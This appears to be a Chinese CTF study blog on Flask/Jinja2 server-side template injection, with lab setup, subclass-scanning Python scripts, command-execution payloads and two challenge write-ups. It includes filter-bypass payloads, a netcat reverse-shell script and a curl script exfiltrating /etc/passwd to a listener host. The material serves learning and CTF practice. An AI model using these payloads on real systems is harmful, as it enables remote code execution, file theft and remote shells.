CTF-Flask-Jinja2(持续更新)

放心,我会一直陪着你

  • 一.知识
    • 一.在终端的一些指令
    • 1.虚拟环境
    • 2.docker容器
    • 二.SSTI相关知识介绍
    • 1.魔术方法
    • 2.python如何执行cmd命令
    • 3.SSTI常用注入模块
      • (1)文件读取
      • (2)内建函数eval执行命令
      • (3)os模块执行命令
      • (4)importlib类执行命令
      • (5)linecache函数执行命令
      • (6)subprocess.Popen类执行命令
    • 三.绕过过滤
    • 1.双大括号
    • 2.无回显
      • (1)反弹shell
      • (2)带外注入(做不了×)
      • (3)纯盲注
    • 四.实例
    • 1.eval
  • 二.实例
    • [HNCTF 2022 WEEK2]ez_SSTI
    • [安洵杯 2020]Normal SSTI

一.知识

一.在终端的一些指令

CTF-Flask-Jinja2(持续更新)_第1张图片

1.虚拟环境

进入虚拟环境flask1

 cd /opt/flask1 
 source ./bin/activate

退出虚拟环境

deactivate

2.docker容器

自动检测

sudo docker run -p 18022:22 -P 18080:80 -i -t mcc0624/flask_ssti:last bash -c '/etc/rc.local; /bin/bash'

查看所有容器

docker ps -a

关闭容器

docker stop <CONTAINER ID>

开启容器

docker start <CONTAINER ID>

更多命令:Docker常用命令之容器命令

二.SSTI相关知识介绍

CTF-Flask-Jinja2(持续更新)_第2张图片

${7*7}

a{*comment*}b
${"z".join("ab")}

{{7*7}}
{{7*'7'}}

1.魔术方法

__class__#查找当前类型的所属对象
__base__#沿着父子类的关系往上走一个
__mro__#查找当前类对象的所有继承类
__subclasses__()#查找父类下的所有子类
__init__#查看类是否重载,重载是指程序在运行时就已经加载好了这个模块到内存中,如果出现wrapper字眼,说明没有重载
__globals__#函数会议字典的形式返回当前对象的全部全局变量

2.python如何执行cmd命令

python如何执行cmd命令

3.SSTI常用注入模块

(1)文件读取

①查找子类

_frozen_importlib_external.FileLoader

<class '_frozen_importlib_external.FileLoader'>

②找第几个时的python脚本:

import requests
url =input('请输入URL链接:')
for i in range(500):
	data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
	try:
		response = requests.post(url,data=data)
		#print(response.text)
		if response.status_code== 200:
			if '_frozen_importlib_external.FileLoader'in response.text:
				print(i)
	except:
		pass

CTF-Flask-Jinja2(持续更新)_第3张图片
③读取

{{''.__class__.__mro__[1].__subclasses__()[79]["get_data"](0,"/etc/passwd")}}

(2)内建函数eval执行命令

①内建函数:python在执行脚本时自动加载的函数
看是否有eval

{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']}}

②python脚本查看可利用内建函数eval的模块

import requests
url =input('请输入URL链接:')
for i in range(500):
	data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"}
	try:
		response = requests.post(url,data=data)
		#print(response.text)
		if response.status_code== 200:
			if 'eval' in response.text:
				print(i)
	except :
		pass

③执行

{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /etc/passwd").read()')}}

__builtins__提供对Python的所有"内置"标识符的直接访问
eval()计算字符串表达式的值
__import__加载os模块
popen()执行一个shell以运行命令来开启一个进程,执行cat /etc/passwd(system没有回显)

(3)os模块执行命令

①Flask自带的函数和对象
显示当前flask有哪些函数和对象

{{self.__dict__._TemplateReference__context.keys()}}

—————————————

{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
{{url_for.__globals__.os.popen('ls').read()}}
{{lipsum.__globals__.os.popen('ls').read()}}

②python脚本查找已经加载os模块的子类

import requests

url =input('请输入URL链接:')

for i in range(500):
	data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"}
	try:
		response = requests.post(url,data=data)
		#print(response.text)
		if response.status_code== 200:
			if 'os.py' in response.text:
				print(i)
	except :
		pass

————————————

name={{().__class__.__base__.__subclasses__()[483].__init__.__globals__.os.popen('ls').read()}}

(4)importlib类执行命令

可以加载第三方库,使用load_module加载os

① python脚本查找_frozen_importlib.Builtinlmporter

import requests
url =input('请输入URL链接:')
for i in range(500):
	data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
	try:
		response = requests.post(url,data=data)
		#print(response.text)
		if response.status_code== 200:
			if '_frozen_importlib.BuiltinImporter' in response.text:
				print(i)
	except :
		pass

②执行

{{().__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]('ls -l').read()}}

(5)linecache函数执行命令

linecache函数可用于读取任意一个文件的某一行,而这个函数中也引入了os模块,所以我们也可以利用这个linecache函数去执行命令.
①python脚本查找linecache

import requests
url =input('请输入URL链接:')
for i in range(500):
	data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"}
	try:
		response = requests.post(url,data=data)
		#print(response.text)
		if response.status_code== 200:
			if 'linecache' in response.text:
				print(i)
	except :
		pass

②执行

{{[].__class__.__base__.__subclasses__()[191].__init__.__globals__['linecache']['os'].popen("ls -l").read()}}
{{[].__class__.__base__.__subclasses__()[192].__init__.__globals__.linecache.os.popen("ls -l").read()}}

(6)subprocess.Popen类执行命令

从python2.4版本开始,可以用subprocess这个模块来产生子进程,并连接到子进程的标准输入/输出/错误中去,还可以得到子进程的返回值.

subprocess意在替代其他几个老的模块或者函数,比如:os.system、os.popen等函数.

① python脚本查找subprocess.Popen

import requests
url =input('请输入URL链接:')
for i in range(500):
	data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
	try:
		response = requests.post(url,data=data)
		#print(response.text)
		if response.status_code== 200:
			if 'subprocess.Popen' in response.text:
				print(i)
	except :
		pass

②执行

{{[].__class__.__base__.__subclasses__()[200]('ls /',shell=True,stdout=-1).communicate()
[0].strip()}}

三.绕过过滤

1.双大括号

①判断是否有

{% if "".__class__ %}Benben{% endif %}

②检测是否有popen

import requests
url ="http://192.168.0.226:18080/flasklab/level/2"
for i in range(500):
	try:
		data = {"code": '{% if "".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("cat /etc/passwd").read()%}Benben{% endif %}'}
		response = requests.post(url,data=data)
		if response.status_code== 200:
			if "Benben" in response.text:
				print(i,"--->",data)
				break
	except :
		pass

③执行(解决无回:print)

{% print("".__class__.__base__.__subclasses__()[117].__init__.__globals__["popen"]("cat /etc/passwd").read()) %}

2.无回显

(1)反弹shell

没有回显,
直接使用脚本批量执行希望执行的命令.

import requests

url ="http://192.168.0.226:18080/flasklab/level/3"

for i in range(300):
	try:
		data = {"code": '{{"".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("netcat 192.168.0.226 7777 -e/bin/bash").read()}}'}
		response = requests.post(url,data=data)
	except :
		pass

for i in range循环执行
当遇到包含popen的子类时,
直接执行netcat 192.168.1.161 7777 -e/bin/bash
监听主机收到反弹shell进入对方命令行界面

(2)带外注入(做不了×)

此处使用wget方法来带外想要知道的内容
也可以用dnslog或者nc

import requests

url ="http://192.168.0.226:18080/flasklab/level/3"

for i in range(300):
	try:
		data = {"code": '{{"".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("curl http://192.168.0.226/`cat /etc/passwd`").read()}}'}
		response = requests.post(url,data=data)
	except :
		pass

同时kali开启一个python http监听

python3 -m http.server 80

(3)纯盲注

四.实例

1.eval

''
""
()
[]
{{''.__class__}}

{{''.__class__.__base__}}

{{''.__class__.__base__.__subclasses__()}}

{{''.__class__.__base__.__subclasses__()[117]}}

{{''.__class__.__base__.__subclasses__()[117].__init__}}

{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__}}

{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /etc/passwd').read()}}

二.实例

[HNCTF 2022 WEEK2]ez_SSTI

进来看到
CTF-Flask-Jinja2(持续更新)_第4张图片

在哪里传参呢?
一般是GET传名为name的参数
测试SSTI注入,{{7*7}}
CTF-Flask-Jinja2(持续更新)_第5张图片
确认有SSTI注入,继续测,{{7*'7'}}
CTF-Flask-Jinja2(持续更新)_第6张图片试试Jinja2模板,成功,以下是两种解题方法
1.Flask自带的函数和对象
先查看当前文件夹,发现了flag文件夹

{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

CTF-Flask-Jinja2(持续更新)_第7张图片获取flag

{{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}}

CTF-Flask-Jinja2(持续更新)_第8张图片2.python脚本查找已经加载os模块的子类

[安洵杯 2020]Normal SSTI

进来看到
在这里插入图片描述
提示了传参变量
试着判断是哪一种模板${7*7},发现有过滤

CTF-Flask-Jinja2(持续更新)_第9张图片fuzz一下,黑名单大致如下

[' ','\'','*','[',']','_','.','globals','request','args','form','getitem','flag','length','list','string','config']

过滤了很多东西,不能用base64编码还有request,十六进制没试过,这里考虑用Unicode编码配合attr过滤器来绕过。
这里过滤了双大括号,只能用{%%}

做法属于Flask自带的函数和对象

{%print(lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat /flag")|attr("read")())%}

把_globals_,__getitem__还有命令进行编码即可。

payload如下:

{%print(lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("os")|attr("popen")("\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067")|attr("read")())%}

CTF-Flask-Jinja2(持续更新)_第10张图片

${7*7}

a{*comment*}b
${"z".join("ab")}

{{7*7}}
{{7*'7'}}

你可能感兴趣的:(Flask-Jinja2)